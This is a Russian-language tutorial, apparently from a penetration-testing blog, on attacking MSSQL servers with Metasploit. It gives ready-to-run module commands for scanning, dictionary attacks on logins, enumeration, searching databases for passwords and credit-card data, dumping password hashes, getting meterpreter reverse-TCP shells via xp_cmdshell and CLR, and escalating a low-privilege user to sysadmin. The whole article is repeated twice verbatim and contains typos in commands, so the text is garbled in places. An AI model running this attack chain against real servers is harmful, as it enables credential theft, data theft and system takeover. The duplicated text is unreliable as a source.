В этой статье мы узнаем, как использовать Metasploit для эксплуатации MSSQL. Мы рассмотрим возможности Metasploit, от поиска MSSQL сервера в сети, до извлечения конфиденциальной информации из базы данных и получения контроля над системой.
Сбор информации и перечисление
При тестировании MSSQL серверов, в удаленной или локальной сети, наша первая задача — найти сервер в сети. Для этого мы будем использовать следующий модуль в Metasploit:
use auxiliary/scanner/mssql/mssql_ping
set rhosts 192.168.1.1/24
exploit
Мы нашли сервер, поэтому нашим следующим шагом будет получение учетных данных сервера. Для этого мы применим атаку по словарю:
use auxiliary/scanner/mssql/mssql_login
set rhosts 192.168.1.3
set user_file /root/users.txt
set verbose false
exploit
И вы можете видеть на изображении выше, у нас есть валидные учетные данные.
Получение версии MSSQL
Мы также можем получить всю информацию о сервере MSSQL и его версии:
use auxiliary/admin/mssql/mssql_sql
set rhosts 192.168.1.3
set username lowprwiv
set password Password@1
exploit
Давайте теперь изучим сервер и посмотрим, какую информацию мы можем получить. И для этого мы будем использовать следующий модуль:
use auxiliary/admin/mssql/mssql_enum
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
В результате вы можете видеть, какие разрешения доступны, какие есть базы данных и прочую полезную информацию.
Перечисление пользователей SQL
Мы также можем получить список всех пользователей.
use auxiliary/admin/mssql/mssql_enum_sql_login
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
Извлечение базы данных
Теперь давайте извлечем содержимое базы данных с помощью Metasploit.
use auxiliary/admin/mssql/mssql_findandsampledata
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
set sample_size 4
set keywords FirstName|passw|credit
exploit
Таким образом, использование вышеперечисленного модуля вернет нам необходимое содержимое базы данных. Например, данные, которые мы извлекли, содержат информацию о хранящихся кредитных картах пользователей.
SchemaDump
Извлечение схемы сервера:
use auxiliary/scanner/mssql/mssql_schemadump
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
Hashdump
Наш следующий модуль используется для выгрузки хешей пользователей с сервера. Чтобы использовать этот модуль, введите:
use auxiliary/scanner/mssql/mssql_hashdump
set rhosts 192.168.1.149
set username sa
set password Password@1
expoit
Выполнение команд (xp_cmdshell)
Теперь давайте попробуем получить сеанс meterpreter на сервере, эксплуатируя xpcmdshell с помощью:
use exploit/windows/mssql/mssql_payload
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
Как видно на изображении выше, эксплойт пытается включить xp_cmdshell для получения нашей сессии. Как только xp_cmdshell успешно включится, у нас будет сессия meterpreter, как показано на изображении ниже:
MSSQl_exec
Теперь, если мы хотим выполнить команду на сервере, мы можем сделать это удаленно с помощью:
use auxiliary/admin/mssql/mssql_exec
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
set cmd "net user"
exploit
CLR Assembely
Следующий эксплойт поможет воспользоваться интеграцией CLR. Этот эксплойт позволит активировать интеграцию CLR, а также включит свойство доверительной базы данных. После того как эксплойт предоставит вам сессию, он восстановит все настройки в их первоначальное состояние. Чтобы использовать этот эксплойт, введите:
use exploit/windows/mssql/mssql_clr_payload
set payload windows/x64/meterpreter/reverse_tcp
set username lowpriv
set password Password@1
exploit
Повышение привилегий
Когда у нас есть учетные данные пользователя, мы можем использовать следующий эксплойт для повышения привилегий нашего пользователя. Этот эксплойт будет манипулировать свойством доверительной базы данных и предоставит вам все необходимые привилегии.
use auxiliary/admin/mssql/mssql_escalate_dbowner
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
Impersonation
Еще один метод получения привилегий — это олицетворение другого пользователя. И следующий эксплойт поможет нам сделать именно это. н позволит нашему пользователю выдавать себя за других пользователей для получения привилегий системного администратора. Чтобы использовать этот эксплойт, воспользуйтесь следующим набором команд:
use auxiliary/admin/mssql/mssql_escalate_execute_as
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
Пользователь sa является членом sysadmin, и с помощью вышеуказанного эксплойта lowpriv теперь тоже стал системным администратором, так как он олицетворил пользователя sa.
Metasploit — это один из лучших инструментов для тестирования безопасности MSSQL-серверов, так как он предлагает много различных способов сканирования и эксплуатации.
Сбор информации и перечисление
При тестировании MSSQL серверов, в удаленной или локальной сети, наша первая задача — найти сервер в сети. Для этого мы будем использовать следующий модуль в Metasploit:
use auxiliary/scanner/mssql/mssql_ping
set rhosts 192.168.1.1/24
exploit
Мы нашли сервер, поэтому нашим следующим шагом будет получение учетных данных сервера. Для этого мы применим атаку по словарю:
use auxiliary/scanner/mssql/mssql_login
set rhosts 192.168.1.3
set user_file /root/users.txt
set verbose false
exploit
И вы можете видеть на изображении выше, у нас есть валидные учетные данные.
Получение версии MSSQL
Мы также можем получить всю информацию о сервере MSSQL и его версии:
use auxiliary/admin/mssql/mssql_sql
set rhosts 192.168.1.3
set username lowprwiv
set password Password@1
exploit
Давайте теперь изучим сервер и посмотрим, какую информацию мы можем получить. И для этого мы будем использовать следующий модуль:
use auxiliary/admin/mssql/mssql_enum
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
В результате вы можете видеть, какие разрешения доступны, какие есть базы данных и прочую полезную информацию.
Перечисление пользователей SQL
Мы также можем получить список всех пользователей.
use auxiliary/admin/mssql/mssql_enum_sql_login
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
Извлечение базы данных
Теперь давайте извлечем содержимое базы данных с помощью Metasploit.
use auxiliary/admin/mssql/mssql_findandsampledata
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
set sample_size 4
set keywords FirstName|passw|credit
exploit
Таким образом, использование вышеперечисленного модуля вернет нам необходимое содержимое базы данных. Например, данные, которые мы извлекли, содержат информацию о хранящихся кредитных картах пользователей.
SchemaDump
Извлечение схемы сервера:
use auxiliary/scanner/mssql/mssql_schemadump
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
Hashdump
Наш следующий модуль используется для выгрузки хешей пользователей с сервера. Чтобы использовать этот модуль, введите:
use auxiliary/scanner/mssql/mssql_hashdump
set rhosts 192.168.1.149
set username sa
set password Password@1
expoit
Выполнение команд (xp_cmdshell)
Теперь давайте попробуем получить сеанс meterpreter на сервере, эксплуатируя xpcmdshell с помощью:
use exploit/windows/mssql/mssql_payload
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
Как видно на изображении выше, эксплойт пытается включить xp_cmdshell для получения нашей сессии. Как только xp_cmdshell успешно включится, у нас будет сессия meterpreter, как показано на изображении ниже:
MSSQl_exec
Теперь, если мы хотим выполнить команду на сервере, мы можем сделать это удаленно с помощью:
use auxiliary/admin/mssql/mssql_exec
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
set cmd "net user"
exploit
CLR Assembely
Следующий эксплойт поможет воспользоваться интеграцией CLR. Этот эксплойт позволит активировать интеграцию CLR, а также включит свойство доверительной базы данных. После того как эксплойт предоставит вам сессию, он восстановит все настройки в их первоначальное состояние. Чтобы использовать этот эксплойт, введите:
use exploit/windows/mssql/mssql_clr_payload
set payload windows/x64/meterpreter/reverse_tcp
set username lowpriv
set password Password@1
exploit
Повышение привилегий
Когда у нас есть учетные данные пользователя, мы можем использовать следующий эксплойт для повышения привилегий нашего пользователя. Этот эксплойт будет манипулировать свойством доверительной базы данных и предоставит вам все необходимые привилегии.
use auxiliary/admin/mssql/mssql_escalate_dbowner
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
Impersonation
Еще один метод получения привилегий — это олицетворение другого пользователя. И следующий эксплойт поможет нам сделать именно это. н позволит нашему пользователю выдавать себя за других пользователей для получения привилегий системного администратора. Чтобы использовать этот эксплойт, воспользуйтесь следующим набором команд:
use auxiliary/admin/mssql/mssql_escalate_execute_as
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
Пользователь sa является членом sysadmin, и с помощью вышеуказанного эксплойта lowpriv теперь тоже стал системным администратором, так как он олицетворил пользователя sa.
Metasploit — это один из лучших инструментов для тестирования безопасности MSSQL-серверов, так как он предлагает много различных способов сканирования и эксплуатации.